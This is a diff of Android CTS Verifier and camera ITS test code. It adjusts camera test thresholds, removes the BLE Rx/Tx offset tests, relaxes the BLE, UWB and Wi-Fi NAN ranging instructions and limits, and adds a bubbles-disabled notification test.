Snap for 8756029 from fba97b83fcee036b8bcbf533fa2ae9034bd47d0e to mainline-sdkext-release

Change-Id: Ic3891592bfa4c00a72a41a5ab9531b66e55a3945
diff --git a/apps/CameraITS/tests/scene1_2/test_raw_exposure.py b/apps/CameraITS/tests/scene1_2/test_raw_exposure.py
index 56a6fd0..d01f538 100644
--- a/apps/CameraITS/tests/scene1_2/test_raw_exposure.py
+++ b/apps/CameraITS/tests/scene1_2/test_raw_exposure.py
@@ -124,12 +124,12 @@
                     white_level, max(mean))
       break
 
-    if allow_under_saturated and min(mean-lower_thresh) > 0:
+    if allow_under_saturated and min(mean-lower_thresh) < 0:
       # All channel means are close to black level
       continue
-
     allow_under_saturated = False
     # Check pixel means are increasing (with small tolerance)
+    logging.debug('iso: %d, exp: %.3f, means: %s', sens, exps[i-1], mean)
     for ch, color in enumerate(COLORS):
       if mean[ch] <= prev_mean[ch] * IMG_DELTA_THRESH:
         e_msg = f'{color} not increasing with increased exp time! ISO: {sens}, '
diff --git a/apps/CameraITS/tests/scene2_a/test_auto_flash.py b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
index f16145d..f1b879b 100644
--- a/apps/CameraITS/tests/scene2_a/test_auto_flash.py
+++ b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
@@ -29,8 +29,8 @@
             4: 'ON_AUTO_FLASH_REDEYE', 5: 'ON_EXTERNAL_FLASH'}
 AE_STATES = {0: 'INACTIVE', 1: 'SEARCHING', 2: 'CONVERGED', 3: 'LOCKED',
              4: 'FLASH_REQUIRED', 5: 'PRECAPTURE'}
-_GRAD_DELTA_ATOL = 100  # gradiant for tablets as screen aborbs energy
-_MEAN_DELTA_ATOL = 100  # mean used for reflective charts
+_GRAD_DELTA_ATOL = 50  # gradiant for tablets as screen aborbs energy
+_MEAN_DELTA_ATOL = 50  # mean used for reflective charts
 _NUM_FRAMES = 8
 _PATCH_H = 0.25  # center 25%
 _PATCH_W = 0.25
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 1939935..8c98be0 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -39,6 +39,7 @@
 _GYRO_SAMP_RATE_MIN = 100.0  # Samples/second: min gyro sample rate.
 _NAME = os.path.splitext(os.path.basename(__file__))[0]
 _ARDUINO_ANGLES = (0, 90)
+_ARDUINO_INIT_WAIT_TIME = 3.0  # Seconds to wait for Arduino comm
 _ARDUINO_MOVE_TIME = 2
 _ARDUINO_SERVO_SPEED = 20
 _NUM_ROTATIONS = 10
@@ -104,6 +105,8 @@
 
   # Sleep a while for gyro events to stabilize.
   time.sleep(_GYRO_INIT_WAIT_TIME)
+  if rot_rig['cntl'].lower() == 'arduino':
+    time.sleep(_ARDUINO_INIT_WAIT_TIME)
 
   # Capture frames.
   facing = props['android.lens.facing']
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index cab2065..981f0fa 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -4058,70 +4058,6 @@
                 android:value="7.4.3/C-7-2" />
         </activity>
 
-        <!--
-            CTS Verifier BLE Rx Offset Test Screen
-                test category : BLE
-                test parent : PresenceTestActivity
-        -->
-        <activity
-            android:name=".presence.BleRxOffsetActivity"
-            android:exported="true"
-            android:label="@string/ble_rx_offset_name">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-
-            <meta-data
-                android:name="test_category"
-                android:value="@string/ble" />
-            <meta-data
-                android:name="test_parent"
-                android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
-            <meta-data
-                android:name="test_required_features"
-                android:value="android.hardware.bluetooth_le" />
-            <meta-data
-                android:name="display_mode"
-                android:value="single_display_mode" />
-            <meta-data
-                android:name="CddText"
-                android:value="7.4.3/C-7-3" />
-        </activity>
-
-        <!--
-            CTS Verifier BLE Tx Offset Test Screen
-                test category : BLE
-                test parent : PresenceTestActivity
-        -->
-        <activity
-            android:name=".presence.BleTxOffsetActivity"
-            android:exported="true"
-            android:label="@string/ble_tx_offset_name">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-
-            <meta-data
-                android:name="test_category"
-                android:value="@string/ble" />
-            <meta-data
-                android:name="test_parent"
-                android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
-            <meta-data
-                android:name="test_required_features"
-                android:value="android.hardware.bluetooth_le" />
-            <meta-data
-                android:name="display_mode"
-                android:value="single_display_mode" />
-            <meta-data
-                android:name="CddText"
-                android:value="7.4.3/C-7-4" />
-        </activity>
-
         <!-- CTS Verifier Nan Precision and Bias Test Screen
                  test category : wifi_nan
                  test parent : PresenceTestActivity
diff --git a/apps/CtsVerifier/res/layout/ble_advertising_set.xml b/apps/CtsVerifier/res/layout/ble_advertising_set.xml
index 06225d9..9955848 100644
--- a/apps/CtsVerifier/res/layout/ble_advertising_set.xml
+++ b/apps/CtsVerifier/res/layout/ble_advertising_set.xml
@@ -14,7 +14,7 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
               android:orientation="vertical"
               android:layout_width="match_parent"
               android:layout_height="wrap_content">
@@ -26,12 +26,16 @@
     <Button android:id="@+id/ble_advertising_set_start_test"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_below="@id/ble_advertising_set_test_instruction"
             android:text="@string/ble_advertising_set_start_test"/>
     <ListView android:id="@+id/ble_advertising_set_tests"
               android:layout_width="match_parent"
               android:layout_height="wrap_content"
+              android:layout_below="@id/ble_advertising_set_start_test"
+              android:layout_above="@id/pass_fail_buttons"
               android:padding="10dip"/>
     <include android:layout_width="match_parent"
              android:layout_height="wrap_content"
+             android:layout_alignParentBottom="true"
              layout="@layout/pass_fail_buttons"/>
-</LinearLayout>
+</RelativeLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/ble_rx_offset.xml b/apps/CtsVerifier/res/layout/ble_rx_offset.xml
deleted file mode 100644
index 3ca35b4..0000000
--- a/apps/CtsVerifier/res/layout/ble_rx_offset.xml
+++ /dev/null
@@ -1,59 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!--
-  ~ Copyright (C) 2022 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:orientation="vertical"
-    style="@style/RootLayoutPadding"
-    tools:ignore="Autofill">
-
-    <ScrollView
-        android:layout_width="fill_parent"
-        android:layout_height="wrap_content">
-
-        <LinearLayout
-            android:orientation="vertical"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content">
-
-            <TextView
-                android:text="@string/ble_rx_offset_test_instructions"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:scrollbars="vertical" />
-
-            <EditText
-                android:id="@+id/report_ble_rssi_median"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:hint="@string/report_ble_rssi_median"
-                android:inputType="numberSigned" />
-
-            <EditText
-                android:id="@+id/report_reference_device"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:hint="@string/report_reference_device"
-                android:inputType="text" />
-
-            <include
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                layout="@layout/pass_fail_buttons" />
-        </LinearLayout>
-    </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/ble_tx_offset.xml b/apps/CtsVerifier/res/layout/ble_tx_offset.xml
deleted file mode 100644
index 0c952bd..0000000
--- a/apps/CtsVerifier/res/layout/ble_tx_offset.xml
+++ /dev/null
@@ -1,59 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!--
-  ~ Copyright (C) 2022 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:orientation="vertical"
-    style="@style/RootLayoutPadding"
-    tools:ignore="Autofill">
-
-    <ScrollView
-        android:layout_width="fill_parent"
-        android:layout_height="wrap_content">
-
-        <LinearLayout
-            android:orientation="vertical"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content">
-
-            <TextView
-                android:text="@string/ble_tx_offset_test_instructions"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:scrollbars="vertical" />
-
-            <EditText
-                android:id="@+id/report_ble_rssi_median"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:hint="@string/report_ble_rssi_median"
-                android:inputType="numberSigned" />
-
-            <EditText
-                android:id="@+id/report_reference_device"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:hint="@string/report_reference_device"
-                android:inputType="text" />
-
-            <include
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                layout="@layout/pass_fail_buttons" />
-        </LinearLayout>
-    </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/uwb_precision.xml b/apps/CtsVerifier/res/layout/uwb_precision.xml
index c0d2800..14e996d 100644
--- a/apps/CtsVerifier/res/layout/uwb_precision.xml
+++ b/apps/CtsVerifier/res/layout/uwb_precision.xml
@@ -37,11 +37,6 @@
                           android:layout_height="wrap_content"
                           android:inputType="numberDecimal"
                           android:hint="@string/report_distance_range_cm"/>
-                <EditText android:id="@+id/aoa_range_degrees"
-                          android:layout_width="wrap_content"
-                          android:layout_height="wrap_content"
-                          android:inputType="numberDecimal"
-                          android:hint="@string/report_aoa_range_degrees"/>
                 <EditText android:id="@+id/reference_device"
                           android:layout_width="wrap_content"
                           android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 66e20b6..9f0aa964 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -6385,6 +6385,12 @@
         bubble does NOT appear on screen. Verify that there is a notification in the notification
         shade.</string>
     <string name="bubbles_test_lowram_button">Add bubble</string>
+    <!-- Disable bubbles by config_supportsBubble -->
+    <string name="bubbles_test_disable_config_title">No bubbles on bubbles disabled device</string>
+    <string name="bubbles_test_disable_config_verify">Click the button below and verify that a
+        bubble does NOT appear on screen. Verify that there is a notification in the notification
+        shade.</string>
+    <string name="bubbles_test_disable_config_button">Add bubble</string>
     <!-- Bubbles end of test summary -->
     <string name="bubbles_test_summary_title">Test Complete</string>
     <string name="bubbles_test_summary">%1$d out of %2$d tests passed</string>
@@ -6599,12 +6605,10 @@
     <string name="uwb_short_range">Uwb Short Range Test</string>
     <string name="uwb_precision_instruction">
         1. Take 1000 measurements with DUT at 1m distance from the reference device in a non-reflective chamber.
-        \n2. Sort the 1000 measurements.
-        \n3. Report the range below - Must be within +/-15cm (distance) and +/-5 degrees (angle of arrival, if supported) for 95% of the measurements for tests to pass.
-        \n5. Distance range is a compulsory input for this test to pass. Angle of arrival (Aoa) is optional.
+        \n2. Sort the 1000 measurements and compute the range as 975th measurement - 25th measurement
+        \n3. Report the range below - Must be within 30cm (distance) for tests to pass.
     </string>
     <string name="report_distance_range_cm">Report Range (cm)</string>
-    <string name="report_aoa_range_degrees">Report Range (degrees)</string>
     <string name="uwb_short_range_instruction">
         1. Take 1000 measurements with DUT being 1m apart from the reference device, where ground truth distance is measured from the top edge of the DUT, held face up and tilted 45 degrees
         \n2. Sort the values.
@@ -6620,8 +6624,9 @@
     <string name="ble_rssi_precision_name">BLE RSSI Precision Test</string>
     <string name="ble_rssi_precision_test_instructions">
         1. Take 1000 scan measurements with the DUT at 1m distance from the reference device transmitting at ADVERTISE_TX_POWER_HIGH in line of sight environment
-        \n2. Must report RSSI measurements to be within +/-6dBm for 95% of the measurements.
-        \n3. Report the reference device used
+        \n2. Sort the measurements and compute the range as 975th measurement - 25th measurement
+        \n3. Report the range below. Must be within 18dBm for tests to pass
+        \n4. Report the reference device used
     </string>
     <string name="report_ble_rssi_range">Report RSSI Range (dBm)</string>
 
@@ -6630,41 +6635,22 @@
     <string name="ble_rx_tx_calibration_test_instructions">
         To verify this requirement, work with your chip vendor. The chip vendor can measure the
         channel flatness and identify the differences between cores and channels.
-        \n Must include Rx/Tx corrections to reduce per-channel deviations so that the measurements on each of the 3 channels, on each of the antennas (if multiple are used), are within +/-3dBm of one another for 95% of the measurements. Report this range
+        \n1. Must include Rx/Tx corrections to reduce per-channel deviations so that the measurements on each of the 3 channels, on each of the antennas (if multiple are used), are within +/-3dBm of one another for 95% of the measurements.
+        \n2. For 1000 sorted measurements, report the range as 975th measurement - 25th measurement. Must be within 6dBm to pass.
     </string>
     <string name="report_channels_ble_rssi_range">Report RSSI Range Across Channels (dBm)</string>
     <string name="report_cores_ble_rssi_range">[Optional] Report RSSI Range Across Cores (dBm)</string>
 
-    <!-- Strings for BLE Rx Offset Test -->
-    <string name="ble_rx_offset_name">BLE Rx Offset Test</string>
-    <string name="ble_rx_offset_test_instructions">
-        This test is strongly recommended but not required.
-        \n1. Take 1000 scan measurements with the DUT at 1m distance from a reference device transmitting at ADVERTISE_TX_POWER_HIGH, where devices are oriented such that they are on `parallel planes` with screens facing the same direction
-        \n2. Sort the values
-        \n3. Report the median (500th value); should be within [-50, -70] dBm
-        \n4. Report the reference device used
-    </string>
-    <string name="report_ble_rssi_median">Report RSSI Median (dBm)</string>
-
-    <!-- Strings for BLE Tx Offset Test -->
-    <string name="ble_tx_offset_name">BLE Tx Offset Test</string>
-    <string name="ble_tx_offset_test_instructions">
-        This test is strongly recommended but not required
-        1. Start BLE advertisement on DUT transmitting at ADVERTISE_TX_POWER_HIGH and take 1000 scan measurements with the reference device at 1m distance, where devices are oriented such that they are on `parallel planes` with screens facing the same direction
-        \n2. Sort the values
-        \n3. Report the median (500th value); should be within [-50, -70] dBm
-        \n4. Report the reference device used
-    </string>
     <string name="nan_precision_instruction">
         1. Take 1000 ranging measurements at each of the ground truth points of 10cm, 1m, 3m, and 5m. The WifiNanScan app in Play Store is recommended for data collection.
         \n2. Report the bandwidth at which the data was collected. Must be either 160, 80, 40, 20 MHz.
-        \n2. For each ground truth point:
-        \n\t\ta. Must report the range at the 68th percentile (as calculated with the Cumulative Distribution Function), accurately to within:
-        \n\t\t\ti. +/-1 meters at 160 MHz bandwidth
-        \n\t\t\tii. +/-2 meters at 80 MHz bandwidth
-        \n\t\t\tiii. +/-4 meters at 40 MHz bandwidth
-        \n\t\t\tiv. +/-8 meters at 20 MHz bandwidth
-        \n4. Following the same instructions above, it is strongly recommended (but not required), to report the range at the 90th percentile as calculated with the Cumulative Distribution Function. If the range at 90th percentile is inputted, it must be within the expected range, and inputted for all distance ranges.
+        \n3. For each ground truth point:
+        \n\t\ta. Sort the measurements, and report the range at the 68th percentile (840th measurement - 160th measurement), accurately to within:
+        \n\t\t\ti. 2 meters at 160 MHz bandwidth
+        \n\t\t\tii. 4 meters at 80 MHz bandwidth
+        \n\t\t\tiii. 8 meters at 40 MHz bandwidth
+        \n\t\t\tiv. 16 meters at 20 MHz bandwidth
+        \n4. Following the same instructions above, it is strongly recommended (but not required), to report the range at the 90th percentile (950th measurement - 50th measurement) as calculated with the Cumulative Distribution Function. If the range at 90th percentile is inputted, it must be within the expected range, and inputted for all distance ranges.
         \n5. Report reference device used. All required fields must be filled before test can be passed.
     </string>
     <string name="report_nan_bandwidth_mhz">Bandwidth (MHz)</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 647371d..1349767 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -76,7 +76,6 @@
 import android.os.IBinder;
 import android.os.SystemClock;
 import android.os.Vibrator;
-import android.util.DisplayMetrics;
 import android.util.Log;
 import android.util.Rational;
 import android.util.Size;
@@ -1840,7 +1839,9 @@
             return;
         }
 
-        Size maxPreviewSize = getMaxPreviewSize();
+        // s1440p which is the max supported stream size in a combination, when preview
+        // stabilization is on.
+        Size maxPreviewSize = new Size(1920, 1440);
         Size[] outputSizes = configMap.getOutputSizes(ImageFormat.YUV_420_888);
         if (outputSizes == null) {
             mSocketRunnableObj.sendResponse("supportedPreviewSizes", "");
@@ -1858,18 +1859,6 @@
         mSocketRunnableObj.sendResponse("supportedPreviewSizes", response);
     }
 
-    private Size getMaxPreviewSize() {
-        // Android guarantees preview resolutions up to 1080p or the screen resolution, whichever
-        // is lower.
-        Size maxGuaranteedPreviewSize = new Size(1920, 1080);
-        DisplayMetrics displayMetrics = getApplicationContext().getResources().getDisplayMetrics();
-        if (maxGuaranteedPreviewSize.getHeight() * maxGuaranteedPreviewSize.getWidth()
-                < displayMetrics.heightPixels * displayMetrics.widthPixels) {
-            return maxGuaranteedPreviewSize;
-        }
-        return new Size(displayMetrics.widthPixels, displayMetrics.heightPixels);
-    }
-
     private class MediaCodecListener extends MediaCodec.Callback {
         private final MediaMuxer mMediaMuxer;
         private final Object mCondition;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 8acfcd5..55a4cce 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -42,6 +42,7 @@
 import android.content.Intent;
 import android.content.pm.ShortcutInfo;
 import android.content.pm.ShortcutManager;
+import android.content.res.Resources;
 import android.graphics.Color;
 import android.graphics.Insets;
 import android.graphics.drawable.Icon;
@@ -150,6 +151,10 @@
         if (am.isLowRamDevice()) {
             // Bubbles don't occur on low ram, instead they just show as notifs so test that
             mTests.add(new LowRamBubbleTest());
+        } else if (!Resources.getSystem()
+                    .getBoolean(com.android.internal.R.bool.config_supportsBubble)) {
+            // Bubbles don't occur on bubble disabled devices, only test notifications.
+            mTests.add(new BubbleDisabledTest());
         } else {
             //
             // Behavior around settings at the device level and on the app settings page.
@@ -963,6 +968,31 @@
         }
     }
 
+    private class BubbleDisabledTest extends BubblesTestStep {
+        @Override
+        public int getTestTitle() {
+            return R.string.bubbles_test_disable_config_title;
+        }
+
+        @Override
+        public int getTestDescription() {
+            return R.string.bubbles_test_disable_config_verify;
+        }
+
+        @Override
+        public int getButtonText() {
+            return R.string.bubbles_test_disable_config_button;
+        }
+
+        @Override
+        public void performTestAction() {
+            Notification.Builder builder = getConversationNotif(getTestTitle());
+            builder.setBubbleMetadata(getBubbleBuilder().build());
+
+            mNotificationManager.notify(NOTIFICATION_ID, builder.build());
+        }
+    }
+
     /** Creates a shortcut to use for the notifications to be considered conversations */
     private void createShortcuts() {
         mShortcuts.clear();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java
index 2abca97..1548910 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java
@@ -38,7 +38,7 @@
     private static final String KEY_REFERENCE_DEVICE = "reference_device";
 
     // Thresholds
-    private static final int MAX_RSSI_RANGE_DBM = 6;
+    private static final int MAX_RSSI_RANGE_DBM = 18;
 
     private EditText reportRssiRangeEditText;
     private EditText reportReferenceDeviceEditText;
@@ -82,7 +82,7 @@
         if (!rssiRangeInput.isEmpty()) {
             int rssiRange = Integer.parseInt(rssiRangeInput);
             // RSSI range must be inputted and within acceptable range before test can be passed
-            return rssiRange >= -MAX_RSSI_RANGE_DBM && rssiRange <= MAX_RSSI_RANGE_DBM;
+            return rssiRange <= MAX_RSSI_RANGE_DBM;
         }
         return false;
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxOffsetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxOffsetActivity.java
deleted file mode 100644
index efef69a..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxOffsetActivity.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.app.AlertDialog;
-import android.bluetooth.BluetoothAdapter;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.view.View;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/**
- * Tests that the devices' Rx offset results in a median RSSI within a specified range
- */
-public class BleRxOffsetActivity extends PassFailButtons.Activity {
-    private static final String TAG = BleRxOffsetActivity.class.getName();
-
-    // Report log schema
-    private static final String KEY_MEDIAN_RSSI = "rssi_range";
-    private static final String KEY_REFERENCE_DEVICE = "reference_device";
-
-    private EditText reportMedianRssiEditText;
-    private EditText reportReferenceDeviceEditText;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.ble_rx_offset);
-        setPassFailButtonClickListeners();
-        View failButton = findViewById(R.id.fail_button);
-        //Remove fail button for strongly recommended tests
-        failButton.setVisibility(View.GONE);
-
-        reportMedianRssiEditText = findViewById(R.id.report_ble_rssi_median);
-        reportReferenceDeviceEditText = findViewById(R.id.report_reference_device);
-
-        DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
-                PackageManager.FEATURE_BLUETOOTH_LE);
-
-        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-
-        if (!adapter.isEnabled()) {
-            new AlertDialog.Builder(this)
-                    .setTitle(R.string.ble_bluetooth_disable_title)
-                    .setMessage(R.string.ble_bluetooth_disable_message)
-                    .setOnCancelListener(dialog -> finish())
-                    .create().show();
-        }
-    }
-
-    @Override
-    public void recordTestResults() {
-        String medianRssi = reportMedianRssiEditText.getText().toString();
-        String referenceDevice = reportReferenceDeviceEditText.getText().toString();
-
-        if (!medianRssi.isEmpty()) {
-            Log.i(TAG, "BLE Median RSSI (dBm): " + medianRssi);
-            getReportLog().addValue(KEY_MEDIAN_RSSI, Integer.parseInt(medianRssi),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!referenceDevice.isEmpty()) {
-            Log.i(TAG, "BLE Reference Device: " + referenceDevice);
-            getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-        getReportLog().submit();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java
index 8a6a005..2de7edf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java
@@ -42,7 +42,7 @@
     private static final String KEY_REFERENCE_DEVICE = "reference_device";
 
     // Thresholds
-    private static final int MAX_RSSI_RANGE = 3;
+    private static final int MAX_RSSI_RANGE = 6;
 
     private EditText reportChannelsRssiRangeEditText;
     private EditText reportCoresRssiRangeEditText;
@@ -90,7 +90,7 @@
         if (!channelsRssiRangeInput.isEmpty()) {
             int channelsRssiRange = Integer.parseInt(channelsRssiRangeInput);
             // RSSI range must be inputted and within acceptable range before test can be passed
-            return channelsRssiRange >= -MAX_RSSI_RANGE && channelsRssiRange <= MAX_RSSI_RANGE;
+            return channelsRssiRange <= MAX_RSSI_RANGE;
         }
         return false;
     }
@@ -100,7 +100,7 @@
         if (!coresRssiRangeInput.isEmpty()) {
             int coresRssiRange = Integer.parseInt(coresRssiRangeInput);
             // RSSI range must be inputted and within acceptable range before test can be passed
-            return coresRssiRange >= -MAX_RSSI_RANGE && coresRssiRange <= MAX_RSSI_RANGE;
+            return coresRssiRange <= MAX_RSSI_RANGE;
         }
         // This field is optional, so return true even if the user has not inputted anything
         return true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleTxOffsetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleTxOffsetActivity.java
deleted file mode 100644
index 6c548ca..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleTxOffsetActivity.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.app.AlertDialog;
-import android.bluetooth.BluetoothAdapter;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.view.View;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/** Tests that the devices' Rx offset results in a median RSSI within a specified range */
-public class BleTxOffsetActivity extends PassFailButtons.Activity {
-    private static final String TAG = BleTxOffsetActivity.class.getName();
-
-    // Report log schema
-    private static final String KEY_MEDIAN_RSSI = "rssi_range";
-    private static final String KEY_REFERENCE_DEVICE = "reference_device";
-
-    private EditText reportMedianRssiEditText;
-    private EditText reportReferenceDeviceEditText;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.ble_tx_offset);
-        setPassFailButtonClickListeners();
-        View failButton = findViewById(R.id.fail_button);
-        // Remove fail button for strongly recommended tests
-        failButton.setVisibility(View.GONE);
-
-        reportMedianRssiEditText = findViewById(R.id.report_ble_rssi_median);
-        reportReferenceDeviceEditText = findViewById(R.id.report_reference_device);
-
-        DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
-                PackageManager.FEATURE_BLUETOOTH_LE);
-
-        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-
-        if (!adapter.isEnabled()) {
-            new AlertDialog.Builder(this)
-                    .setTitle(R.string.ble_bluetooth_disable_title)
-                    .setMessage(R.string.ble_bluetooth_disable_message)
-                    .setOnCancelListener(dialog -> finish())
-                    .create().show();
-        }
-    }
-
-    @Override
-    public void recordTestResults() {
-        String medianRssi = reportMedianRssiEditText.getText().toString();
-        String referenceDevice = reportReferenceDeviceEditText.getText().toString();
-
-        if (!medianRssi.isEmpty()) {
-            Log.i(TAG, "BLE Median RSSI (dBm): " + medianRssi);
-            getReportLog().addValue(KEY_MEDIAN_RSSI, Integer.parseInt(medianRssi),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!referenceDevice.isEmpty()) {
-            Log.i(TAG, "BLE Reference Device: " + referenceDevice);
-            getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-        getReportLog().submit();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java
index b7d4414..458d192 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java
